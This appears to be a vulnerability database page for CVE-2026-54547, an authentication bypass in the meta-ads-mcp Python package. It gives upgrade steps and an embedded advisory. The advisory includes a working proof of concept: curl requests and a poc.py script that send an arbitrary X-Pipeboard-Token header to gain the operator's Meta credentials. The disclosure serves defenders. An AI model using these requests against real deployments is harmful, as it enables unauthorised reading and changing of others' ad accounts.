CVE-2026-54547: meta-ads-mcp X-Pipeboard-Token Header Auth Bypass Reuses Vulnerability
HIGHCVE-2026-54547 is a HIGH (CVSS 7.4) x-pipeboard-token header auth bypass reuses vulnerability (CWE-287: Improper Authentication) affecting meta-ads-mcp libraries in the PyPI ecosystem. The issue involves x-pipeboard-token header auth bypass reuses operator meta token. Remediation is available by upgrading affected packages to version 1.0.115.
CVE-2026-54547 at a Glance
Security Impact
CVSS: 7.4
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N).
How to Fix CVE-2026-54547
To remediate this vulnerability, upgrade all affected meta-ads-mcp dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
pip install meta-ads-mcp>=1.0.115
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
pip show meta-ads-mcp
How to Check if You Are Affected
To determine whether your Python environment is affected by CVE-2026-54547, inspect your installed packages using pip:
pip show meta-ads-mcp
Analyze the terminal output to locate any version of meta-ads-mcp in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.0.115), your application is affected.
Note: The pip show meta-ads-mcp command checks currently installed packages in your active Python environment.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-287: Improper Authentication, where when an actor claims to have a given identity, the product does not prove or insufficiently proves that the claim is correct. In meta-ads-mcp, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-54547 Affected meta-ads-mcp Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
meta-ads-mcp
|
PyPI |
< 1.0.115
|
1.0.115
|
References
Frequently Asked Questions
What is CVE-2026-54547?
Which meta-ads-mcp versions are affected?
What version fixes CVE-2026-54547?
Is meta-ads-mcp affected?
What is the CVSS score of CVE-2026-54547?
What CWE is associated with CVE-2026-54547?
How can I check PyPI dependencies for CVE-2026-54547?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-2v2f-mvfg-ph56",
"modified" : "2026-07-17T18:48:54Z",
"published" : "2026-07-17T18:48:54Z",
"aliases" : [ "CVE-2026-54547" ],
"summary" : "meta-ads-mcp: X-Pipeboard-Token Header Auth Bypass Reuses Operator Meta Token",
"details" : "## X-Pipeboard-Token Header Auth Bypass Reuses Operator Meta Token\n\n### Summary\n\n`AuthInjectionMiddleware` in `meta-ads-mcp` rejects HTTP MCP requests only when **both** `auth_token` and `pipeboard_token` are absent. Because `extract_token_from_headers()` does not recognise the `X-Pipeboard-Token` header, an attacker who sends that header with any arbitrary value produces `auth_token = None` and `pipeboard_token = <attacker value>`, making the guard condition evaluate to `False` and passing the request through. No authentication context is set; the token getter falls back to the server operator's `META_ACCESS_TOKEN` environment variable. Every subsequent MCP tool call executes with the operator's Meta credentials, allowing an unauthenticated network caller to read and write the operator's Meta Ads data.\n\n### Details\n\nThe vulnerable condition is at `meta_ads_mcp/core/http_auth_integration.py:259`:\n\n```python\n# http_auth_integration.py:255-260\nauth_token = FastMCPAuthIntegration.extract_token_from_headers(dict(request.headers))\npipeboard_token = FastMCPAuthIntegration.extract_pipeboard_token_from_headers(dict(request.headers))\n\nif not auth_token and not pipeboard_token: # ← bypass condition\n return Response(..., status_code=401)\n```\n\n`extract_token_from_headers()` (lines 77–95) recognises only `Authorization: Bearer`, `X-META-ACCESS-TOKEN`, and `X-PIPEBOARD-API-TOKEN`. It does **not** recognise `X-Pipeboard-Token`, so that header never populates `auth_token`.\n\n`extract_pipeboard_token_from_headers()` (line 108) **does** recognise `X-Pipeboard-Token`, so sending that header alone produces:\n\n```\nauth_token = None # not set → guard reads False for left operand\npipeboard_token = \"<anything>\" # truthy → guard reads False for right operand\n→ (not None) and (not \"<anything>\") = True and False = False → 401 never returned\n```\n\nAfter the bypass, `set_auth_token()` is never called (lines 283–291 only run when `auth_token` is truthy). The patched token getter at lines 163–168 resolves `get_auth_token() = None`, then delegates to `original_get_current_access_token()`. The fallback chain in `auth.py:446–453` returns `META_ACCESS_TOKEN` from the server environment:\n\n```python\n# auth.py:443-453\nenv_token = os.environ.get(\"META_ACCESS_TOKEN\")\nif env_token:\n return env_token\n```\n\n`@meta_api_tool` at `api.py:390–396` injects this operator token into every tool's `access_token` kwarg. The sink at `api.py:225–235` forwards it to the Meta Graph API via `httpx.AsyncClient`. Verified with `accounts.py:42–62` (`get_ad_accounts`): the operator's ad account data is returned for valid tokens; for invalid tokens the Meta Graph API responds with an `OAuthException`, confirming the token traversed the full path.\n\nFull data flow:\n\n| Step | Location | Description |\n|------|----------|-------------|\n| 1 | `http_auth_integration.py:255–257` | Middleware extracts attacker-controlled headers |\n| 2 | `http_auth_integration.py:259` | Bypass: `X-Pipeboard-Token` alone satisfies guard |\n| 3 | `http_auth_integration.py:288–291` | `auth_token` is `None`; auth context never set |\n| 4 | `http_auth_integration.py:163–168` | Token getter falls back to original accessor |\n| 5 | `auth.py:446–453` | `META_ACCESS_TOKEN` env var returned as access token |\n| 6 | `api.py:390–396` | Operator token injected into tool kwargs |\n| 7 | `accounts.py:42–62` | Tool invokes Meta Graph API with operator token |\n| 8 | `api.py:225–235` | `httpx.AsyncClient` sends privileged HTTP request |\n\n**Recommended fix:**\n\n```diff\n--- a/meta_ads_mcp/core/http_auth_integration.py\n+++ b/meta_ads_mcp/core/http_auth_integration.py\n- if not auth_token and not pipeboard_token:\n+ if not auth_token:\n```\n\n`X-Pipeboard-Token` should be treated as a supplementary service token only; it must not serve as a standalone authentication credential for MCP tool calls.\n\n### PoC\n\n**Prerequisites**\n\n- Docker installed and the `meta-ads-mcp` repository available locally.\n- The server must be started in `streamable-http` mode (documented in `STREAMABLE_HTTP_SETUP.md` as a supported production deployment).\n\n**Step 1 — Build the Docker image**\n\n```bash\ndocker build \\\n -t vuln001-meta-ads-mcp \\\n -f /path/to/vuln-001/Dockerfile \\\n /path/to/meta-ads-mcp-repo/\n```\n\nThe `Dockerfile` installs the package from source, sets `META_ACCESS_TOKEN=FAKE_OPERATOR_META_TOKEN_ABCDEF1234567890`, and starts the server on port 8080.\n\n**Step 2 — Run the container**\n\n```bash\ndocker run -d -p 8081:8080 --name vuln001-test vuln001-meta-ads-mcp\n```\n\n**Step 3 — Confirm the middleware is active (no-auth → 401)**\n\n```bash\ncurl -i -X POST http://127.0.0.1:8081/mcp \\\n -H 'Content-Type: application/json' \\\n -H 'Accept: application/json, text/event-stream' \\\n -d '{\"jsonrpc\":\"2.0\",\"id\":1,\"method\":\"tools/list\",\"params\":{}}'\n# Expected: HTTP/1.1 401 {\"error\":\"Unauthorized\",...}\n```\n\n**Step 4 — Trigger the bypass (X-Pipeboard-Token only → 200)**\n\n```bash\ncurl -i -X POST http://127.0.0.1:8081/mcp \\\n -H 'Content-Type: application/json' \\\n -H 'Accept: application/json, text/event-stream' \\\n -H 'X-Pipeboard-Token: attacker-controlled-not-validated' \\\n -d '{\"jsonrpc\":\"2.0\",\"id\":1,\"method\":\"tools/list\",\"params\":{}}'\n# Expected: HTTP/1.1 200 {\"jsonrpc\":\"2.0\",\"result\":{\"tools\":[...]}} (37 tools listed)\n```\n\n**Step 5 — Confirm operator token is forwarded to Meta Graph API**\n\n```bash\ncurl -i -X POST http://127.0.0.1:8081/mcp \\\n -H 'Content-Type: application/json' \\\n -H 'Accept: application/json, text/event-stream' \\\n -H 'X-Pipeboard-Token: attacker-controlled-not-validated' \\\n -d '{\"jsonrpc\":\"2.0\",\"id\":2,\"method\":\"tools/call\",\"params\":{\"name\":\"get_ad_accounts\",\"arguments\":{\"limit\":1}}}'\n# Expected: HTTP 200 + Meta OAuthException (code 190) proving FAKE_OPERATOR_META_TOKEN\n# was forwarded to Meta. With a real operator token, ad account data is returned.\n```\n\n**Automated PoC script**\n\n```bash\npython3 /path/to/vuln-001/poc.py http://127.0.0.1:8081/mcp\n```\n\nThe script performs Tests 1–3 and prints `RESULT: PASS — VULN-001 reproduced` on success.\n\n**Observed output (dynamic reproduction)**\n\n```\nTest 1 (no auth header) → HTTP 401 {\"error\":\"Unauthorized\",...}\nTest 2 (X-Pipeboard-Token only) → HTTP 200 {\"jsonrpc\":\"2.0\",\"result\":{\"tools\":[...]}} (37 tools)\nTest 3 (tools/call, same header)→ HTTP 200 {\"error\":{\"message\":\"Invalid OAuth access token data.\",\"type\":\"OAuthException\",\"code\":190}}\n```\n\nTest 3 confirms that `FAKE_OPERATOR_META_TOKEN` was sent to Meta Graph API, proving the full operator-token reuse path.\n\n### Impact\n\nThis is an **authentication bypass** vulnerability. Any network-reachable caller that can send an HTTP request with an arbitrary `X-Pipeboard-Token` header can:\n\n- **Read** all Meta Ads data accessible to the server operator (ad accounts, campaigns, creatives, audiences, insights).\n- **Write** Meta Ads resources (create/update campaigns, ads, budgets) as the operator.\n- **Exfiltrate the operator's identity** via Meta Graph API error responses that reference the token.\n\nOperators who deploy `meta-ads-mcp` in `--transport streamable-http` mode with `META_ACCESS_TOKEN` configured — the documented and recommended production setup — are directly affected. Deployments using the default `stdio` transport or those without `META_ACCESS_TOKEN` set are not affected.\n\n### Reproduction artifacts\n\n#### `Dockerfile`\n\n```dockerfile\n# VULN-001 PoC: X-Pipeboard-Token Auth Bypass (CWE-287)\n# Runs meta-ads-mcp in streamable-http mode with a fake operator META_ACCESS_TOKEN.\n# The server enforces auth via AuthInjectionMiddleware, but the bypass allows\n# X-Pipeboard-Token alone to pass the middleware and reach tool handlers,\n# which then fall back to the operator's META_ACCESS_TOKEN.\nFROM python:3.11-slim\n\nWORKDIR /app\n\n# Install system dependencies\nRUN apt-get update && apt-get install -y --no-install-recommends \\\n curl \\\n && rm -rf /var/lib/apt/lists/*\n\n# Copy repository source (build context must be the repo root)\nCOPY . /app\n\n# Install the package and its dependencies\nRUN pip install --no-cache-dir -e .\n\n# Fake operator token: length >= 20 so the server's basic validation passes.\n# This is NOT a real Meta token — used only to prove the bypass path\n# that reaches auth.py:446-453 (META_ACCESS_TOKEN fallback).\nENV META_ACCESS_TOKEN=FAKE_OPERATOR_META_TOKEN_ABCDEF1234567890\nENV META_APP_ID=999999999999999\n\n# Disable any browser-launch attempts during startup\nENV DISPLAY=\n\nEXPOSE 8080\n\n# Start the MCP server with streamable-http transport.\n# --host 0.0.0.0 is required so the container port is reachable from the host.\nCMD [\"python\", \"-m\", \"meta_ads_mcp\", \\\n \"--transport\", \"streamable-http\", \\\n \"--host\", \"0.0.0.0\", \\\n \"--port\", \"8080\"]\n```\n\n#### `poc.py`\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nPoC for VULN-001: X-Pipeboard-Token Header Auth Bypass Reuses Operator Meta Token\n\nCVE class : CWE-287 Improper Authentication\nPackage : meta-ads-mcp 1.0.113\nFile : meta_ads_mcp/core/http_auth_integration.py:259\n\nVulnerability summary\n---------------------\nAuthInjectionMiddleware rejects requests only when BOTH auth_token AND\npipeboard_token are absent (line 259):\n if not auth_token and not pipeboard_token:\n return Response(status_code=401)\n\nextract_token_from_headers() (lines 77-95) does NOT recognise the\n\"X-Pipeboard-Token\" header — only \"Authorization: Bearer\",\n\"X-META-ACCESS-TOKEN\", and \"X-PIPEBOARD-API-TOKEN\".\n\nextract_pipeboard_token_from_headers() (line 108) DOES recognise\n\"X-Pipeboard-Token\".\n\nConsequence: an attacker that sends only \"X-Pipeboard-Token: <anything>\"\nmakes auth_token=None and pipeboard_token=\"<anything>\". The bypass\ncondition becomes:\n if not None and not \"<anything>\": # False — request passes\nNo auth context is set; the token getter (http_auth_integration.py:163-168)\nfalls back to get_current_access_token() in auth.py which returns the server\noperator's META_ACCESS_TOKEN (auth.py:446-453). Tool calls then run as the\noperator.\n\nExpected evidence\n-----------------\nTest 1 No auth header → HTTP 401 from middleware\nTest 2 X-Pipeboard-Token: <attacker value> → HTTP != 401 from MCP layer\n (proves bypass; further tool calls use operator token)\n\nUsage\n-----\nThe MCP server must already be running and reachable at 127.0.0.1:8080.\n docker run -d -p 8080:8080 --name vuln001 vuln001-meta-ads-mcp\n python3 poc.py\n\"\"\"\n\nimport json\nimport sys\nimport time\nimport urllib.error\nimport urllib.request\n\n# ---------------------------------------------------------------------------\n# Default server URL; override via first CLI arg: python3 poc.py http://host:port/mcp\nimport os as _os\n\n_DEFAULT_URL = \"http://127.0.0.1:8080/mcp\"\nSERVER_URL = (\n sys.argv[1] if len(sys.argv) > 1 else _os.environ.get(\"MCP_SERVER_URL\", _DEFAULT_URL)\n)\n# Arbitrary attacker-controlled value — NOT validated by the server\nATTACKER_PIPEBOARD_TOKEN = \"attacker-controlled-not-validated-xyz1234567890\"\nSERVER_READY_TIMEOUT = 90 # seconds\n# ---------------------------------------------------------------------------\n\n\ndef http_post(url: str, headers: dict, body: dict) -> tuple:\n \"\"\"Send a JSON-encoded POST request; return (http_status, response_text).\"\"\"\n data = json.dumps(body).encode()\n req = urllib.request.Request(url, data=data, headers=headers, method=\"POST\")\n try:\n with urllib.request.urlopen(req, timeout=10) as resp:\n return resp.status, resp.read().decode(\"utf-8\", errors=\"replace\")\n except urllib.error.HTTPError as exc:\n return exc.code, exc.read().decode(\"utf-8\", errors=\"replace\")\n except Exception as exc:\n return None, str(exc)\n\n\ndef wait_for_server(timeout: int = SERVER_READY_TIMEOUT) -> bool:\n \"\"\"\n Poll until the server returns any HTTP response (even 401).\n Returns True when ready, False on timeout.\n \"\"\"\n deadline = time.time() + timeout\n attempt = 0\n while time.time() < deadline:\n status, _ = http_post(\n SERVER_URL,\n {\"Content-Type\": \"application/json\"},\n {\"jsonrpc\": \"2.0\", \"id\": 0, \"method\": \"ping\"},\n )\n if status is not None:\n return True\n attempt += 1\n if attempt % 5 == 0:\n elapsed = int(time.time() - (deadline - timeout))\n print(f\" ... still waiting ({elapsed}s elapsed)\")\n time.sleep(1)\n return False\n\n\ndef run_test(label: str, headers: dict, payload: dict) -> tuple:\n \"\"\"Run one request, print result, and return (status, body).\"\"\"\n print(f\"\\n[*] {label}\")\n status, body = http_post(SERVER_URL, headers, payload)\n print(f\" HTTP Status : {status}\")\n # Print up to 600 chars so long MCP responses are readable\n print(f\" Response : {body[:600]}\")\n return status, body\n\n\ndef main() -> int:\n print(\"=\" * 65)\n print(\"VULN-001 PoC: X-Pipeboard-Token Auth Bypass\")\n print(\"meta-ads-mcp 1.0.113 | CWE-287 Improper Authentication\")\n print(\"=\" * 65)\n\n # -----------------------------------------------------------------------\n print(\"\\n[*] Waiting for MCP server to be ready ...\")\n if not wait_for_server():\n print(f\"[-] ERROR: Server did not respond within {SERVER_READY_TIMEOUT}s\")\n return 2\n print(\"[+] Server is ready\")\n\n # Common headers for all requests\n base_headers = {\n \"Content-Type\": \"application/json\",\n \"Accept\": \"application/json, text/event-stream\",\n }\n\n # A minimal MCP JSON-RPC payload. In stateless-HTTP mode the server\n # processes each request independently; tools/list does not require a\n # prior initialize handshake.\n list_payload = {\n \"jsonrpc\": \"2.0\",\n \"id\": 1,\n \"method\": \"tools/list\",\n \"params\": {},\n }\n\n # -----------------------------------------------------------------------\n # Test 1: No authentication — must be rejected with 401\n # -----------------------------------------------------------------------\n status1, body1 = run_test(\n \"Test 1: POST /mcp — no auth header at all\",\n base_headers,\n list_payload,\n )\n\n if status1 != 401:\n print(f\"[-] UNEXPECTED: Expected HTTP 401 without auth, got {status1}\")\n print(\" Middleware may not be active. Cannot assess bypass.\")\n return 2\n\n try:\n parsed = json.loads(body1)\n if parsed.get(\"error\") != \"Unauthorized\":\n print(\"[-] UNEXPECTED body (expected {\\\"error\\\": \\\"Unauthorized\\\"})\")\n return 2\n except json.JSONDecodeError:\n pass # Body format is secondary evidence\n\n print(\"[+] CONFIRMED: No-auth request correctly rejected with HTTP 401\")\n\n # -----------------------------------------------------------------------\n # Test 2: Only X-Pipeboard-Token — must NOT be 401 if bypass works\n #\n # Vulnerability logic (http_auth_integration.py:259):\n # auth_token = extract_token_from_headers(headers) -> None\n # pipeboard_token = extract_pipeboard_token_from_headers(headers) -> ATTACKER_VALUE\n # if not None and not ATTACKER_VALUE: # evaluates False -> request passes\n # # set_auth_token() never called -> auth context stays None\n # # tool getter falls back to META_ACCESS_TOKEN env var\n # -----------------------------------------------------------------------\n bypass_headers = {\n **base_headers,\n \"X-Pipeboard-Token\": ATTACKER_PIPEBOARD_TOKEN,\n }\n status2, body2 = run_test(\n f\"Test 2: POST /mcp — only X-Pipeboard-Token: {ATTACKER_PIPEBOARD_TOKEN}\",\n bypass_headers,\n list_payload,\n )\n\n if status2 == 401:\n print(\"\\n[-] BYPASS FAILED: Got HTTP 401 with X-Pipeboard-Token.\")\n print(\" The vulnerability may have been patched on this build.\")\n return 1\n\n print(f\"\\n[+] AUTH BYPASS CONFIRMED: HTTP {status2} (not 401)\")\n print(\" The middleware accepted the request with X-Pipeboard-Token alone.\")\n print(\" auth_token was None -> set_auth_token() not called ->\")\n print(\" get_auth_token() returns None -> META_ACCESS_TOKEN fallback active.\")\n\n # Extra detail: check if we can see MCP tool names in the response\n try:\n parsed2 = json.loads(body2)\n tools = parsed2.get(\"result\", {}).get(\"tools\", [])\n if tools:\n print(f\"\\n MCP tools/list returned {len(tools)} tools (server fully reachable):\")\n for t in tools[:5]:\n print(f\" - {t.get('name', '?')}\")\n except Exception:\n pass\n\n # -----------------------------------------------------------------------\n # Test 3: tools/call get_ad_accounts — operator token forwarded to Meta\n # The Meta Graph API will reject the FAKE token, but the error response\n # proves the request reached Meta (not the local 401 guard).\n # -----------------------------------------------------------------------\n call_payload = {\n \"jsonrpc\": \"2.0\",\n \"id\": 2,\n \"method\": \"tools/call\",\n \"params\": {\n \"name\": \"get_ad_accounts\",\n \"arguments\": {\"limit\": 1},\n },\n }\n status3, body3 = run_test(\n \"Test 3: tools/call get_ad_accounts with X-Pipeboard-Token only\",\n bypass_headers,\n call_payload,\n )\n\n if status3 != 401:\n print(f\"\\n[+] OPERATOR TOKEN CONFIRMED IN USE: HTTP {status3}\")\n print(\" The tool call was not blocked locally. The server forwarded\")\n print(\" the request to Meta Graph API using META_ACCESS_TOKEN.\")\n if \"OAuthException\" in body3 or \"Invalid OAuth\" in body3:\n print(\" Meta Graph API returned an OAuthException about the\")\n print(\" FAKE_OPERATOR_META_TOKEN — confirming the token was forwarded.\")\n elif \"error\" in body3.lower():\n print(\" Meta Graph API (or MCP layer) returned an error response\")\n print(\" — the request reached the tool handler, not the local 401 guard.\")\n else:\n print(\"[!] Note: tools/call returned 401 — may need MCP initialize first\")\n\n # -----------------------------------------------------------------------\n print(\"\\n\" + \"=\" * 65)\n print(\"RESULT: PASS — VULN-001 reproduced\")\n print()\n print(\"Evidence:\")\n print(f\" Test 1 (no header) -> HTTP {status1} (blocked by middleware)\")\n print(f\" Test 2 (X-Pipeboard-Token) -> HTTP {status2} (BYPASSES middleware)\")\n print()\n print(\"The distinction proves that AuthInjectionMiddleware at\")\n print(\"http_auth_integration.py:259 is the exploitable boundary.\")\n print(\"An attacker can reach all MCP tools as the server operator by\")\n print('sending any value in the \"X-Pipeboard-Token\" header.')\n print(\"=\" * 65)\n return 0\n\n\nif __name__ == \"__main__\":\n sys.exit(main())\n```",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "PyPI",
"name" : "meta-ads-mcp"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "1.0.115"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/pipeboard-co/meta-ads-mcp/security/advisories/GHSA-2v2f-mvfg-ph56"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/pipeboard-co/meta-ads-mcp"
}, {
"type" : "WEB",
"url" : "https://github.com/pipeboard-co/meta-ads-mcp/releases/tag/1.0.115"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-287" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2026-07-17T18:48:54Z",
"nvd_published_at" : null
}
}